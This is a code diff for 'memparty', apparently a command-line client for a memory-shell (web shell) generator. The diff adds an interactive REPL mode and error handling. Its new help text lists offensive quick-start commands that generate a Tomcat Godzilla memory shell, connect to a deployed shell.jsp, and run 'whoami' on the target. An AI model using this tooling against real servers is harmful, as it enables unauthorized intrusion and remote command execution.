if (ch === quote) quote = null;
|
|
3022
|
+
else cur += ch;
|
|
3023
|
+
} else if (ch === '"' || ch === "'") {
|
|
3024
|
+
quote = ch;
|
|
3025
|
+
started = true;
|
|
3026
|
+
} else if (/\s/.test(ch)) {
|
|
3027
|
+
if (started || cur.length > 0) {
|
|
3028
|
+
tokens.push(cur);
|
|
3029
|
+
cur = "";
|
|
3030
|
+
started = false;
|
|
3031
|
+
}
|
|
3032
|
+
} else {
|
|
3033
|
+
cur += ch;
|
|
3034
|
+
}
|
|
3035
|
+
}
|
|
3036
|
+
if (started || cur.length > 0) tokens.push(cur);
|
|
3037
|
+
return tokens;
|
|
3038
|
+
}
|
|
3039
|
+
async function startRepl(build) {
|
|
3040
|
+
process.stdout.write(
|
|
3041
|
+
`memparty ${CLI_VERSION} \u2014 interactive mode. Type 'help' for commands, 'exit' to quit.
|
|
3042
|
+
`
|
|
3043
|
+
);
|
|
3044
|
+
const rl = readline.createInterface({
|
|
3045
|
+
input: process.stdin,
|
|
3046
|
+
output: process.stdout,
|
|
3047
|
+
terminal: process.stdin.isTTY === true,
|
|
3048
|
+
historySize: 200
|
|
3049
|
+
});
|
|
3050
|
+
const pending = [];
|
|
3051
|
+
let waiter = null;
|
|
3052
|
+
let closed = false;
|
|
3053
|
+
rl.on("line", (line) => {
|
|
3054
|
+
if (waiter) {
|
|
3055
|
+
const w = waiter;
|
|
3056
|
+
waiter = null;
|
|
3057
|
+
w(line);
|
|
3058
|
+
} else {
|
|
3059
|
+
pending.push(line);
|
|
3060
|
+
}
|
|
3061
|
+
});
|
|
3062
|
+
rl.on("close", () => {
|
|
3063
|
+
closed = true;
|
|
3064
|
+
waiter?.(null);
|
|
3065
|
+
});
|
|
3066
|
+
const isTty = process.stdin.isTTY === true;
|
|
3067
|
+
rl.setPrompt("memparty> ");
|
|
3068
|
+
const ask = () => {
|
|
3069
|
+
if (isTty) rl.prompt();
|
|
3070
|
+
const buffered = pending.shift();
|
|
3071
|
+
if (buffered !== void 0) return Promise.resolve(buffered);
|
|
3072
|
+
if (closed) return Promise.resolve(null);
|
|
3073
|
+
return new Promise((resolve) => {
|
|
3074
|
+
waiter = resolve;
|
|
3075
|
+
});
|
|
3076
|
+
};
|
|
3077
|
+
for (; ; ) {
|
|
3078
|
+
const line = await ask();
|
|
3079
|
+
if (line === null) break;
|
|
3080
|
+
const tokens = tokenize(line);
|
|
3081
|
+
if (tokens.length === 0) continue;
|
|
3082
|
+
const [cmd, ...rest] = tokens;
|
|
3083
|
+
if (cmd === "exit" || cmd === "quit") break;
|
|
3084
|
+
if (cmd === "clear") {
|
|
3085
|
+
process.stdout.write("\x1B[2J\x1B[0f");
|
|
3086
|
+
continue;
|
|
3087
|
+
}
|
|
3088
|
+
if (cmd === "help") {
|
|
3089
|
+
if (rest.length === 0) {
|
|
3090
|
+
build().outputHelp();
|
|
3091
|
+
continue;
|
|
3092
|
+
}
|
|
3093
|
+
tokens.push("--help");
|
|
3094
|
+
}
|
|
3095
|
+
rl.pause();
|
|
3096
|
+
try {
|
|
3097
|
+
await build().parseAsync(["node", "memparty", ...tokens]);
|
|
3098
|
+
} catch (err) {
|
|
3099
|
+
if (err instanceof CommanderError) {
|
|
3100
|
+
} else if (err instanceof ApiError) {
|
|
3101
|
+
reportError(`API error (${err.status || "network"}): ${err.message}`, tokens);
|
|
3102
|
+
} else if (err instanceof Error) {
|
|
3103
|
+
if (err.name === "ExitPromptError") process.stderr.write("\nAborted.\n");
|
|
3104
|
+
else reportError(err.message, tokens);
|
|
3105
|
+
} else {
|
|
3106
|
+
reportError(String(err), tokens);
|
|
3107
|
+
}
|
|
3108
|
+
}
|
|
3109
|
+
process.exitCode = 0;
|
|
3110
|
+
rl.resume();
|
|
3111
|
+
}
|
|
3112
|
+
rl.close();
|
|
3113
|
+
}
|
|
3114
|
+
|
|
2923
3115
|
// src/cli.ts
|
|
2924
3116
|
function buildProgram() {
|
|
2925
|
-
const program = new
|
|
3117
|
+
const program = new Command8();
|
|
2926
3118
|
program.name("memparty").description("CLI + MCP client for MemShellParty (party.mem.mk)").version(CLI_VERSION, "-v, --version", "output the CLI version").option(
|
|
2927
3119
|
"--api <url>",
|
|
2928
3120
|
`MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`
|
|
2929
|
-
).option("--timeout <ms>", "request timeout in milliseconds", "30000")
|
|
3121
|
+
).option("--timeout <ms>", "request timeout in milliseconds", "30000").exitOverride().addHelpText(
|
|
3122
|
+
"after",
|
|
3123
|
+
`
|
|
3124
|
+
Quick start:
|
|
3125
|
+
$ memparty gen # interactive memory-shell wizard
|
|
3126
|
+
$ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 -o shell.class
|
|
3127
|
+
$ memparty connect -u http://192.0.2.1/shell.jsp -t godzilla --header-value qSGAJScj
|
|
3128
|
+
$ memparty exec 192.0.2.1/godzilla --cmd whoami # auto-saved by a successful connect
|
|
3129
|
+
$ memparty list # saved targets
|
|
3130
|
+
$ memparty log # recent operations
|
|
3131
|
+
|
|
3132
|
+
Every subcommand has its own examples: memparty <command> --help
|
|
3133
|
+
`
|
|
3134
|
+
);
|
|
2930
3135
|
registerGenCommand(program);
|
|
2931
3136
|
registerProbeCommand(program);
|
|
2932
3137
|
registerConfigCommand(program);
|
|
@@ -2940,26 +3145,29 @@ function buildProgram() {
|
|
|
2940
3145
|
return program;
|
|
2941
3146
|
}
|
|
2942
3147
|
async function main() {
|
|
3148
|
+
if (process.argv.length <= 2 && (process.stdin.isTTY || process.env.MEMPARTY_REPL)) {
|
|
3149
|
+
await startRepl(buildProgram);
|
|
3150
|
+
return;
|
|
3151
|
+
}
|
|
2943
3152
|
const program = buildProgram();
|
|
2944
3153
|
try {
|
|
2945
3154
|
await program.parseAsync(process.argv);
|
|
2946
3155
|
} catch (err) {
|
|
2947
|
-
if (err instanceof
|
|
2948
|
-
process.
|
|
2949
|
-
|
|
3156
|
+
if (err instanceof CommanderError2) {
|
|
3157
|
+
process.exitCode = err.exitCode;
|
|
3158
|
+
} else if (err instanceof ApiError) {
|
|
3159
|
+
reportError(`API error (${err.status || "network"}): ${err.message}`, process.argv);
|
|
2950
3160
|
process.exitCode = 1;
|
|
2951
3161
|
} else if (err instanceof Error) {
|
|
2952
3162
|
if (err.name === "ExitPromptError") {
|
|
2953
3163
|
process.stderr.write("\nAborted.\n");
|
|
2954
3164
|
process.exitCode = 130;
|
|
2955
3165
|
} else {
|
|
2956
|
-
|
|
2957
|
-
`);
|
|
3166
|
+
reportError(err.message, process.argv);
|
|
2958
3167
|
process.exitCode = 1;
|
|
2959
3168
|
}
|
|
2960
3169
|
} else {
|
|
2961
|
-
|
|
2962
|
-
`);
|
|
3170
|
+
reportError(String(err), process.argv);
|
|
2963
3171
|
process.exitCode = 1;
|
|
2964
3172
|
}
|
|
2965
3173
|
}
|